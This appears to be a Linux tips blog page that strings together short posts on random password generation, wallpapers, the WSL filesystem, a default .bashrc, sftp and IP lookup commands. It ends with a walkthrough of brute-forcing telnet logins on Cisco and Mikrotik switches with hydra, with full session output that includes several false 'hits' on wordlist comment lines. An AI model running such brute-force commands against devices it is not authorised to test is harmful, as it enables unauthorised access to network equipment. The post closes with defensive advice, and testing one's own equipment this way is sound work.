*k3G0Uf6JzBqDC#%hILdB6m@RxDh7AkLW#hzA29#nQKfieoa8srd1nulzSX)uBxYiXIhe7O$rED^HEC!PArnA!D6@(AF*0A*Hk*qt7&m19GBzEiIiFe0piBckCd6VuH5*El4GaM(Rr&NJG%j2gR)RrpDbM2o3&T$
5Glf^ijmGeMpL@(22Q(v2qb9fAdevwqO8Iz8H0A0kXpEvO*JIzJbIUaE%vLOcStf&%ruf%Dwbme2jEW^I62X#)d(Ug5uO7hfb8hB*C%bUKH0Y4Ld&BCpqDrKFd@FAjO%vpW^rfBxwXvkLfDPngG^eFd9$vt&4uqd
Ym2s2WJBsih!Qd4(XjDH81)ypGXcO2K1Vz9$8!9h(vUVUrNma54WG$cBrF*2R9qFUSGHvlNXYoSHSvDrGRi@gMY6EsY$(czv^DlFf!D5QZJ0VIkwWTKCHyx0SjLRm^w@diQOIP2D4Xwg6DGn$vV1N^(^R^!QdGqF
#KnTUAQLUq@k0h#ho)DbX0IaUY3Er2BeIP7$#KhIfzH&fCfe6XuyDxXle@%HJ6q1n8X&k0Bh3Ch@vnYJ59xRsY5m(t(A)sBWPI^nUaD&KTSq(GUbPEvnNQ5Co7kD!%$YXZnkwkAkNcgMoR7SOAabsIVFkKvwQqPN
IOXaQWj8dwTNKyFNf^4odI8irmQ(Q3CbMpZuxZgCn5i7w%W)Ex8RidD#kiQSy$cwEi@o7ohI)dWG1LiE#M65Zt5t2FW)7V3v3f1nn%1rI4wX$*t#0Kh0Qv1)0j1!PsEPBQ!2INOI5N!GqMO8kQt(BPgBM&tlsW1S
!z$w^1YkIX6!w)@Zlt3z(sMJbAonULQBRT%XIESrpNmcV1Bup*!ppl5#%ME8nCc82dtQ0sZ01WL2U@koUhg^5hcW*zQ0i$RA4*MYld@KqW&GxhPhYWiKY1t^*YW%*ugbv$#g%feWfjTQRBfR(^)0H7HknB&x%ge$
2EFljRVn59KUL!3!LDW$qVI*)HYx8#6DV(@bn%EebGH1vfPesOTda)uOU!u5UcOwOFqyMmgPrJE6vlXVyLFu21anf5^L%uxfWzByxlXI0(N@lJEZLF)CK702Kf0VuZh6C9NHP5T0T&i$9xJMChkVmxCO4mfyjhZr
kVbJvHdQ8*u9COBhdyTC8i&X6tXEwsUE)XSd^NwikdNN*30)oc3iBFswfu5X7qlrWqdLEgFGS4JsSRDRF!xPleaJ3RFmS(K)ngZgK&X^ML!G55RK#cpY2InOiD3AQUJJdT2kth#KVP!e0GVIxBY#e*h0giwE0T&O

Finally, here is one more method.

jason@DESKTOP-R72SPS3:/mnt/c/Users/johnc$ head -c 24 /dev/urandom | base64 | sed s/==//gi;
Kio1iaMh3YSeT1auh8ccABtcCr0sN6Bk

Beautiful wallpapers for your Linux desktop.

A gorgeous terraced rice paddy in China I think: https://4walled.cc/src/c0/c06806e6e7aa41e530ae8355aa2271fb.jpg

Beautiful farm gate photograph: https://4walled.cc/show-584332.

Curving road in morning mist: https://4walled.cc/show-111104.

Dual monitor corn field photograph: https://4walled.cc/show-84524.

Man using a tin for target practice on his farm: https://4walled.cc/show-579294.

Oil refinery gas flare: https://4walled.cc/show-1286049.

Arches national park Utah: https://4walled.cc/show-389564.

More wallpaper posts.

More awesome wallpapers for a Linux or BSD desktop: http://www.securitronlinux.com/bejiitaswrath/more-awesome-wallpapers-for-your-linux-or-bsd-desktop/.

Some more beautiful wallpapers for your high-resolution Linux desktop: http://www.securitronlinux.com/bejiitaswrath/some-more-beautiful-wallpapers-for-your-high-resolution-linux-desktop/.

Ubuntu wallpaper archive: http://ubuntu.ecchi.ca/wallpapers/.

More beautiful themes and wallpapers: http://www.securitronlinux.com/linux-mint-2/the-best-gtk-themes-and-wallpapers-for-your-ubuntu-or-linux-mint-desktop/.

Location of the filesystem that the Windows 10 bash shell uses.

This is the location of the actual files that are installed when you install the Windows 10 bash shell. This means that it is not really a ext4 filesystem, but emulating this when you load it up in a CMD window.

%localappdata%\lxss\rootfs

The location of the actual filesystem the Windows 10 bash shell uses. Very interesting find.

Windows 10 bash shell files.

Windows 10 bash shell files.

This is the default .bashrc used by the Windows 10 bash shell.

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
 
# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac
 
# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth
 
# append to the history file, don't overwrite it
shopt -s histappend
 
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000
 
# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize
 
# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar
 
# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
 
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi
 
# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color) color_prompt=yes;;
esac
 
# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes
 
if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
	# We have color support; assume it's compliant with Ecma-48
	# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
	# a case would tend to support setf rather than setaf.)
	color_prompt=yes
    else
	color_prompt=
    fi
fi
 
if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt
 
# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac
 
# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'
 
    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi
 
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
 
# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
 
# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
 
if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi
 
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

Copy a file from one UNIX/Linux machine to another using the sftp utility.

Copying a file with sftp from one UNIX machine to another is very easy. The command below uses the SSH protocol and initiates a connection to the remote PC.

ubuntu ~ $ sftp -P 443 jason@192.168.1.5

Press ENTER and type your password. The user will be presented with a sftp> prompt.

ubuntu ~ $ sftp -P 443 jason@192.168.1.5
Ubuntu 16.04 LTS
jason@192.168.1.5's password:
Connected to 192.168.1.5.
sftp>

Then type this command to retrieve the remote file to your local machine.

sftp> get root.jpeg
Fetching /home/jason/root.jpeg to root.jpeg
/home/jason/root.jpeg                                                                                              100%  400KB  36.3KB/s   00:11
sftp>

Now the file is on my local machine…

ubuntu ~ $ ls -hula root.jpeg
-rw-rw-r-- 1 ubuntu ubuntu 400K May 10 00:52 root.jpeg

That is how easy it is to get files from a remote UNIX/Linux machine. Type ? at the sftp prompt to get help on commands.

How to get just the IP address of your Linux machine using curl.

To get just the IP address of your Internet facing Linux machine, use this command.

jason@jason-desktop:~/Documents/ipinfo/src$ curl icanhazip.com

This will return just your IP address.

This is another way to get this information.

jason@jason-desktop:~/Documents$ curl ipinfo.io/ip

To get information about a DNS server, use the dig command.

jason@jason-desktop:~/Documents/ipinfo/src$ dig 8.8.8.8
 
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44317
;; flags: qr aa rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1280
;; QUESTION SECTION:
;8.8.8.8.                       IN      A
 
;; ANSWER SECTION:
8.8.8.8.                0       IN      A       8.8.8.8
 
;; Query time: 0 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Tue May 10 09:52:37 AEST 2016
;; MSG SIZE  rcvd: 52

To get the gateway IP address of a Linux machine, this command will suffice.

ubuntu /etc/openvpn $ netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         172.31.16.1     0.0.0.0         UG        0 0          0 eth0
10.8.0.0        10.8.0.2        255.255.255.0   UG        0 0          0 tun1194
10.8.0.2        0.0.0.0         255.255.255.255 UH        0 0          0 tun1194
172.31.16.0     0.0.0.0         255.255.240.0   U         0 0          0 eth0

List all of the IP addresses on your machine with this command.

ubuntu /etc/openvpn $ ip addr | grep inet
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
    inet 172.31.20.16/20 brd 172.31.31.255 scope global eth0
    inet6 fe80::4d6:3aff:fea8:8213/64 scope link
    inet 10.8.0.1 peer 10.8.0.2/32 scope global tun1194

How to crack the cisco telnet password on a Cisco 2960 switch.

Cracking the Cisco telnet password on a Cisco 2960 switch is very easy when you are using the hydra password cracking tool. I used this command to crack the telnet login.


hydra -P password.lst 10.42.0.87 cisco

This is the password cracking session that resulted in me cracking the telnet login.

root@darknet:~# hydra -P password.lst 10.42.0.87 cisco
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
 
Hydra (http://www.thc.org/thc-hydra) starting at 2016-05-05 11:28:39
[WARNING] you should set the number of parallel task to 4 for cisco services.
[DATA] max 16 tasks per 1 server, overall 64 tasks, 3559 login tries (l:1/p:3559), ~3 tries per task
[DATA] attacking service cisco on port 23
[23][cisco] host: 10.42.0.87   password: password

Here is another example, this is a telnet password set on a Mikrotik Cloud Switch Router.

root@darknet:~# hydra -l cisco -P password.lst 172.18.31.162 telnet
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
 
Hydra (http://www.thc.org/thc-hydra) starting at 2016-05-05 11:42:06
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 64 tasks, 3559 login tries (l:1/p:3559), ~3 tries per task
[DATA] attacking service telnet on port 23
[ERROR] Not a TELNET protocol or service shutdown
[ERROR] Not a TELNET protocol or service shutdown
[ERROR] Not a TELNET protocol or service shutdown
[ERROR] Not a TELNET protocol or service shutdown
[ERROR] Not a TELNET protocol or service shutdown
[ERROR] Not a TELNET protocol or service shutdown
[ERROR] Not a TELNET protocol or service shutdown
[ERROR] Not a TELNET protocol or service shutdown
[ERROR] Not a TELNET protocol or service shutdown
[ERROR] Not a TELNET protocol or service shutdown
[ERROR] Not a TELNET protocol or service shutdown
[23][telnet] host: 172.18.31.162   login: cisco   password: #!comment:
[23][telnet] host: 172.18.31.162   login: cisco   password: #!comment: This list is based on passwords most commonly seen on a set of Unix
[23][telnet] host: 172.18.31.162   login: cisco   password: #!comment: systems in mid-1990's, sorted for decreasing number of occurrences
[23][telnet] host: 172.18.31.162   login: cisco   password: #!comment: (that is, more common passwords are listed first).  It has been
[23][telnet] host: 172.18.31.162   login: cisco   password: #!comment: revised to also include common website passwords from public lists
[ERROR] Child with pid 8260 terminating, can not connect
[ERROR] Child with pid 8262 terminating, can not connect
[ERROR] Child with pid 8263 terminating, can not connect
[ERROR] Child with pid 8264 terminating, can not connect
[ERROR] Child with pid 8268 terminating, can not connect
[ERROR] Child with pid 8266 terminating, can not connect
[ERROR] Child with pid 8267 terminating, can not connect
[ERROR] Child with pid 8269 terminating, can not connect
[23][telnet] host: 172.18.31.162   login: cisco   password: password1
[23][telnet] host: 172.18.31.162   login: cisco   password: #!comment: in 1996 through 2011.  It is assumed to be in the public domain.
[23][telnet] host: 172.18.31.162   login: cisco   password: #!comment: This list has been compiled by Solar Designer of Openwall Project
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

This is also easily cracked.

I am using the wordlist from /usr/share/john/password.lst, but there are wordlists in /usr/share/wordlists.

Here is another example,

root@darknet:~# hydra -l cisco -P password.lst 172.18.31.162 telnet
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
 
Hydra (http://www.thc.org/thc-hydra) starting at 2016-05-05 11:49:13
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 64 tasks, 3559 login tries (l:1/p:3559), ~3 tries per task
[DATA] attacking service telnet on port 23
[ERROR] Child with pid 14712 terminating, can not connect
[ERROR] Child with pid 14715 terminating, can not connect
[ERROR] Child with pid 14714 terminating, can not connect
[ERROR] Child with pid 14713 terminating, can not connect
[ERROR] Child with pid 14719 terminating, can not connect
[ERROR] Child with pid 14717 terminating, can not connect
[ERROR] Child with pid 14716 terminating, can not connect
[ERROR] Child with pid 14720 terminating, can not connect
[ERROR] Child with pid 14718 terminating, can not connect
[ERROR] Child with pid 14721 terminating, can not connect
[ERROR] Child with pid 15070 terminating, can not connect
[23][telnet] host: 172.18.31.162   login: cisco   password: spring
[23][telnet] host: 172.18.31.162   login: cisco   password: steven
[ERROR] Child with pid 15071 terminating, can not connect
[ERROR] Child with pid 15074 terminating, can not connect
[ERROR] Child with pid 15073 terminating, can not connect
[ERROR] Child with pid 15076 terminating, can not connect
[ERROR] Child with pid 15078 terminating, can not connect
[ERROR] Child with pid 15079 terminating, can not connect
[ERROR] Child with pid 15080 terminating, can not connect
[ERROR] Child with pid 15081 terminating, can not connect
[ERROR] Child with pid 15083 terminating, can not connect
[ERROR] Child with pid 15084 terminating, can not connect
[ERROR] Child with pid 15085 terminating, can not connect
[ERROR] Child with pid 15087 terminating, can not connect
[ERROR] Child with pid 15088 terminating, can not connect
[STATUS] 3559.00 tries/min, 3559 tries in 00:01h, 1 todo in 00:01h, 16 active
[23][telnet] host: 172.18.31.162   login: cisco   password: beavis
[STATUS] 1779.50 tries/min, 3559 tries in 00:02h, 1 todo in 00:01h, 16 active
[STATUS] 1186.33 tries/min, 3559 tries in 00:03h, 1 todo in 00:01h, 16 active
[STATUS] 889.75 tries/min, 3559 tries in 00:04h, 1 todo in 00:01h, 16 active
[STATUS] 711.80 tries/min, 3559 tries in 00:05h, 1 todo in 00:01h, 16 active
[STATUS] 593.17 tries/min, 3559 tries in 00:06h, 1 todo in 00:01h, 16 active
[STATUS] 508.43 tries/min, 3559 tries in 00:07h, 1 todo in 00:01h, 16 active
[STATUS] 444.88 tries/min, 3559 tries in 00:08h, 1 todo in 00:01h, 16 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

This goes to show the telnet protocol is very insecure at the best of times especially when you are using a weak password. That is why it is better to use SSH on a Cisco switch or router and SSH keys instead of passwords.